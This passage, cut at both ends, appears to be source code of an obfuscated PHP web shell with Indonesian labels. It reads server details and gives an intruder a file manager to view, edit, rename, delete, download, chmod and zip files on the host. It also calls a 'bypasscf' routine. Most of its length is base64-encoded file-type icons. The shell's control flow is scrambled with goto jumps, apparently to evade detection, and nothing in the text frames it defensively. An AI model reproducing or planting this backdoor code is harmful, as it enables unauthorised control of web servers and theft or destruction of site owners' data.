\xa\x9	</form>"; goto nv1oI; oK1ly: function Zip($source, $destination) { if (extension_loaded("zip") === true) { if (file_exists($source) === true) { goto AYdCH; ibxDx: return @$zip->close(); goto mhaN1; hVpOA: if ($zip->open($destination, ZIPARCHIVE::CREATE) === true) { $source = realpath($source); if (is_dir($source) === true) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { $file = realpath($file); if (is_dir($file) === true) { } elseif (is_file($file) === true) { $zip->addFromString(str_replace($source . "/", '', $file), file_get_contents($file)); } } } elseif (is_file($source) === true) { $zip->addFromString(basename($source), file_get_contents($source)); } } goto ibxDx; AYdCH: $zip = new ZipArchive(); goto hVpOA; mhaN1: } } return false; } goto RztaG; X3tKv: } goto hxcvI; s9Tx3: $sof = $_SERVER["SERVER_SOFTWARE"]; goto rGm1j; zRAIO: date_default_timezone_set("Asia/Jakarta"); goto dmN97; Ps3EX: $web = $_SERVER["HTTP_HOST"]; goto s9Tx3; pZDoR: $mysql = function_exists("mysql_connect") ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; goto KB25g; Flkqi: if ($_GET["aksi"] == "chmod_dir") { chmodFolder($dir, $ndir); } goto cx3uU; TLIVZ: if ($_GET["aksi"] == "bypascf") { bypasscf(); } goto TJWJH; J3SOc: foreach ($scandir as $file) { goto GwpMa; CIjmO: $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); goto Qh6_7; FrNqh: if (is_writable($path . "/" . $file) || !is_readable($path . "/" . $file)) { echo "</font></a></td>\xd\xa\x9\x9		\x9\x9	<td class="d-flex">
	\x9		\x9\x9	\x9<a title="Lihat" class="badge badge-info" href="?dir=" . $path . "&aksi=view&file=" . $path . "/" . $file . "">&nbsp;<i class="fa fa-eye"></i>&nbsp;</a>&nbsp;&nbsp;\xd\xa		\x9		\x9\x9\x9<a title="Edit" class="badge badge-success" href="?dir=" . $path . "&aksi=edit&file=" . $path . "/" . $file . "">&nbsp;<i class="far fa-edit"></i>&nbsp;</a>&nbsp;&nbsp;\xd
\x9\x9	\x9	\x9\x9	<a title="Rename" class="badge badge-success" href="?dir=" . $path . "&aksi=rename&file=" . $path . "/" . $file . "">&nbsp;<i class="fa fa-pencil"></i>&nbsp;</a>&nbsp;&nbsp;
				\x9\x9\x9\x9<a title="Delete" class="badge badge-danger" href="?dir=" . $path . "&aksi=hapusf&file=" . $path . "/" . $file . "" title="Delete">&nbsp;<i class="fa fa-trash"></i>&nbsp;</a>&nbsp;&nbsp;
\xa\x9\x9\x9\x9\x9			<a title="Download" class="badge badge-primary" href="?&dir=" . $path . "&aksi=download&file=" . $path . "/" . $file . "" title="Download">&nbsp;<i class="fa fa-download"></i>&nbsp;</a>
\xa\x9\x9\x9\x9	\x9	</td>\xd
\x9\x9			\x9</tr>"; } goto aH573; Qh6_7: if ($ext == "php") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAMAAAD04JH5AAAAA3NCSVQICAjb4U/gAAAACXBIWXMAAAN2AAADdgF91YLMAAAAGXRFWHRTb2Z0d2FyZQB3d3cuaW5rc2NhcGUub3Jnm+48GgAAAcVQTFRF////4uXnV21+4uXn4uXn4uXnV21+4uXn4uXnwMbLV21+4uXnV21+4uXnV21+WG5/WW+AW3CBXHGCXHKCXXKDXnODXnOEX3SEYHSFYneHZHiIZXmIZXmJZXqJZnqKZ3uKZ3uLan6Na36Oa3+ObH+ObYCPb4GQcYOScoSTdIaUdYeVdoiWd4iWd4mXeouZe4yZe4yafI2afY6bf4+cf5CdgZGegZKegpKfg5OghJWhhpaih5ejiJejiZmkjZynjp2okJ6qk6GslKKtlqSvmaaxmqeynKmzoKu1oK22oa23o6+5pbG6qLO8qbW9rbfArrnBsLe9sLrCsbvDsrm/s73FtL7FtbvBtb7Gtr/HucLJusPKu8TLvcbMvsTJv8XKv8fOwMnPw8vRxMvRxc3Syc7SydDWytHWytHYy9LYzNPZzNPazdHVzdPZztTZz9Xa0tje1Nnc1Nne1dvf1tvf1tzg19zg2N3h2t/j29/h3eHl3eLl4OPl4eXo4uXn4ubp4+bp4+fq5ejr5enr5uns5+rs6Ovt6u3v6+3v7O7w7/Hy7/Hz8/X29PX29fb39vf49vj49/j5+Pn5+vr7+/z8/f39/v7+////csH2mgAAAA50Uk5TAAEaJG5+prK0wObm6vXU4MSnAAADYklEQVR42u3baVfTQBQG4AItRSqpioiKuwiKO7iBuCGLuFHccUFlEWQRFKQojggqqIiCtv29zjSladrQLPdOxg/zfuncOfckz2maNE3PeDxZkufzB4jDrPGAk+MtIs4TAgtyCggkIbDAS4AAoCCvCAyACXwEDgAJ/BgAiCCAAgAICA7AuQAL4FiABnAqwAM4FCACnAkwAY4EqAAnAlyAAwEywL4AG2BbgA6wK8AH2BRwANgT8ADYEnAB2BHwAdgQQAH3oAIooDMEFEABPSGgAAqYvA0UQAFkMAQTgAHkCUwAB5BB0FFAAJDJnk7nZyNBylifcVwDrCZwD7CKwEWAscBNgKHAVYCRwF2AgcBlQKbAbUCGwHVAusB9QJpAAEAvEAHQCYQAUgViACkCQQBNIAqQFAgDrAjEARICgQBVIBIQFwgFMIFYABUIBpAx0QAiAf8hIDe/UOGUsvpRc0DuWoVjtoyaAvIVrqk3BRTyBZSZAhTOkQAJkAAJcAI41aqm8XipNlkc1PWUJF4PXFF7m09vRQMMxZKJjh9MTD5emqvRWsrDkd44qE3rjc3U4QD2x1ITuROfrKbDIa2ng5Zn2duyqGvuLcUA1MX0aWKTl+lgVut5Q8tW+rozrfchFuDvI5buebbR33tNAF2s99nH+CE7gwRYVIfBq1FadJgAytW5cz/peAIXoCj3aRG2BlAu0fFyEBmwI7FRKwDlBy0qkQHKAq32WQS8psV5ZEAJ/RBESlTA3KFk3hsCZmhxDBnQRItPic9AWjIARxl2Iy6gdokWz60BKr/Q8TTSWfAnfn2/MczOwmiNCeAm673WtczGzRyuhO2KCSAlrzhciofXrwA+Fyfz1hjwYRc64NsFddLKd8Gv1nUK2nfBA5a2hsMbFHPAU9Z7q7F6M9L9gP5CZAFQjnxHJAG1dJsLFgHbGGA3MmATvc16kT5ZRXfUrZXttDzBBu9isXn0u+KG2YkjGZPXv45XadX27u9344OT4ZmL8oeJBEiABAABnB9UVoh+VNsi+GH1nn6hj+srWvr7bP9h0YebAdGAEcGAl1NCAQMjU/JfMwmQAAmwDwjw3X+A+5JPk/i5L3o1iY/7st/sKcrjvvA5e7z8l35nTUEO/8Xv2d5/r6X9A5f/r3r++X264/8POy/HplRupU4AAAAASUVORK5CYII="; } elseif ($ext == "html") { echo "data:image/png;base64,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"; } elseif ($ext == "css") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAfowAAH6MBdiuSpAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAApHSURBVHja7Z17cFx1FccLJdhCqeA4WKsglFaKrwF1UKsgCArDAFqcAqKMiojD4KjDiCLjOD6YQRxHOzqYR0uTPtI2zaM0aVPaStomMW36StOkpHnvvXvvPrJ5v9/H39lh2fvc7Obevfe3m/Ob+f7RJP3l9nc+v/M7v3PO3S4CgEVWFAx6nmVqZgJSWMOy3Lq7o6PhFqtr64SsGv9JMrhektQCrS1nR1MBAqsANJDBjQFobjqVEhBYMf4SphkyuDkAqQCBFQBWk7HnBoB3CKwAsJaMHR8APENAADgEAK8QEAAOAsAjBASAwwDwBgEB4AIAPEFAALgEAC8QEAAuAsADBASAywC4DQEBwAEAbkJAAHACgFsQEAAcAeAGBAQAZwA4DQEBwCEATkJAAHAKgFMQEAAcA+AEBAQA5wAkGwICIAUASCYEBECKAJAsCAiAFAIgGRAQACkGgN0QEAApCICdEBAAKQqAXRCkHACNogA7zovw8nEv7KgXwR9w/hnaJAFeP+GFV/8nQulFATpl9ff9/g4QhSZHJEnNZxYEAB6fB356WILL/uODRQo9fkBydnf7BfhorvoZlm+SYWOt6KbXWZbWAJz3eODmbepFjygj0xfekU49y9Y60fA5UA/vkyDgDgCr0hqA+0ok00W/LV92dLHPeQRYnOkzfR48FlwAYG3aApB5xnjH4VFwV5EMZe8Kji/430+KsMrEIy3N9kFdJwFgm75bpt/9Tx+U4ES7u5E+uvqiBgHuLJB1z/fGaZEAsEtrtqsX+GO5MvgC/Fz5jrUIOgAwWCUAbNLlmvP2mUNe7u79N21VQ3p/CQFgmzjYXXNqtcZL3VtMABAABAABQAAQAAQAAUAAEAAEAAFAABAABECiEv16AH7xDn+JoM/sVAOwbg8BYIsONOnTrG+eE7kD4Pvl6nrFdZt9BIAd+skhfSEIewN4A+CftfqK5Z4GgQCwImz70nb/rMyVuTM+qqpN76lW5jlaFk4PAPDMR7ePO/8yg1r7ixVeLgHA0vAdu/TeClvFsEEEAUly72JqA9AgCPBkuReWZJt32qwrlLgqAxt1Cl27yfz5V+T64KVjXgLASBjZmy0c6votchgS3tvB8+tFQ8+l1N5GkQDQ6p5iKeaibdgvcW98lODzwMfz5Jj/lj9XewkArXLOijEXDYU/wzsA3yuPDfKVWb7wew0EgIEqWgT42RFvOJjKyNLvomU5MtS08XsMbKw1hhgDwa8XyfD7SjFZxk+/a2A1M/Ttu/QQ3F3E5zWwXRYMA9inmEdw6J2F9MsDtEr6N3BwkWU/fwAUN+p3/7dLJUoEJcOtHrnE3zHwSqX6FoONrE1eSgVbVm2HPsP2Wg1/yaBvat5cwuog1QKSVA5+7jB/AKyhcjD1AxAABAABQAAQAAQAAUAAEAAEAAFAABAABAABYF1YBVQu7iOlfAEgBTy6TqBHSwkA2/SVQnWaFUvFPHUG//uUvl7xynEvAWCXsEdAu8DXbJLDnxRS7VJ/ADaB7qwXwzWAyw0+MazgAn1GkG061SHAVTnmXTa/crhTGI1v1KsQEX7PhZJ1+gKAwgqg2YJfzeDokJ1b7N0XxJgtX1XueKX0BgB33R+qvOEF1i76jVtlRz8vuNrgJZDISyuFDa71KqQ3AMrFX18mwQ3vdd6i8fPqnG8WxWMHPc8VDEh8MfR5Fqc4+XG1CxYApS55Pa58UnhEeOxgGzgnt5GFBwCJACARACQCgEQAkAgAAoAAIAAIAAKAACAACAACgAAgAAgAAoAAIAAIAAKAACAAkgLAy0el+7EfnuS+0BaOA/BChfehuT7ajeSM0BYEAAFAABAABAABQAAQAAQAAUAAEABpDsDyzX74QmEIPvRmwNI8+HLH2p1dcGdRCG7aHoSrcvwJz5HB5vj07i74InueG7cFYek85iAA4tD6g72wq3UUWvqnYBaiQxqehnJhHB4p701orrNdkzA5A7qBX/9l9QB8cLO5IfE/hnjqSB9c6J6CKYM5TgYm4fnj/XD1Jj8BYFW4o3IujkA8YzcD5Ppcc6+ABqmQJuacZ2hyFj68xXie65jXQQPPNUJjM7CMALCmNfld0NgzZbjAMtv507P6r/+tbth0vrxLo7qfRy/QzYyFioxXzwyZzvFWx5hujomZ2fDf7xmPzvHrmgE6Aqyq0qfereLQNDx8oAeufe/sxx390P4eENjXcfzxtLnh8OeUY2BiFp6pULtp3PW/OTH4/vy6/wOAuX3tLn/8UC8syY7OsSIvAL87OehYLJC2AHyHndPKUcVgMHPLGAziuR5rvn+cH35/LrZh4a693Qk/05amEdWuv2NPiG4ByRBG1s19UyqD3cqidStzVim8yXF5Yl5zNCiOo32dY3QNTJa0rrao3fpi13dPqqL0+cwROWpwvC2OEwDJ0mvnhlQA3PNWt+U5/3VhWDXn6vzEPcq25mgQiQHoR3IDBEAyVNimjrTtWGhtTHGa3fdv3hFMaI4fVag9EwapK7cGCQC7VReKuuvRqVlb5sSsX5lnXGXAPnZtw4TNB7Lji9gx2j8qq28mXaMz8GN2m7giiwCwTYOT0Qt+EwsG7ZrXyICRnMLPKwfiMuI17Np4KqhPBHUOTsOzR/sNPzuQAEgwz68cR+cZsce6YeA9fWRKn0VC2B4o64kLpL+cGQpfBbXjPAs277YhZlnQHmBY4QHe7Z1Kyu/A4g/WFrQmxD//4L99cc3xSXY1NcoMYoD4aAK1CQIgxpUN8/LJ/F237wmF8wLKgQWeB/f3xD3Hl4pDumNhjFHw1ZJuAmA+Km5X7yqrZd+5tJid25j/V3qDI97xhI+WjfXqqybeZgiAeeh1TR5gXYkzZ2ppZxQ8jBEysqzVL/CGQADMQz98R33fzm8ZdQQAba7gy8WJ5/q1uYK1FlPYCxIAjLKVaVc8kz+xPfkJl/UaAD61K3HjYU5AOZKdKErbaiBG4qA5k5ebdOlgK9fX5qjuxXM/z22Kpnr7J2bDnT+JzrFXcSvA8jUdAfMULj62ZykHNodg/97izKhB0E3jVRGv5JjMMZsPG0XQOE8c7tMFlehxfntiUPW7MhtHdHNkXxyBAhbYPfZ2r65lDPsKMJBUDqxpEAAWhPV2r+IoiAzMFCIcynxBZJg1hZzWwNQ2MB32KlgZxOYQ7feM2rla+6dU+QIsWR9mc+AVcEjzLHiVjTfFTADEEO5Wo2SL0TgojBvGCugpRAOQjAYa7rMFXYa9iRjVxzNqGRBr8rsoEWSnnjvWH67Bh8ZmdA2cNYEJeHqO7B267D8x73CpT99jiEEmpoFfqoldD8COpL8yt94+MG3YW4hH1AuVztYDFuR7ATdsC8J9pT2wakdQF6jFW2/ADOC9+7rhcwUhuDIrcVeNfYOfLwzBN9gc+F5ABlUDSQQAaWEA8GKF8C1afD6EtnAcgLp27+ql2bT4bgttgLZwHADUhv1SHRnBXW04INVZsaElAEqaA8se2CuVrMiVx8gYzgrXHNcebWDFhv8H5yMekqmgHqgAAAAASUVORK5CYII="; } elseif ($ext == "png") { echo "data:image/png;base64,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"; } elseif ($ext == "jpg") { echo "data:image/png;base64,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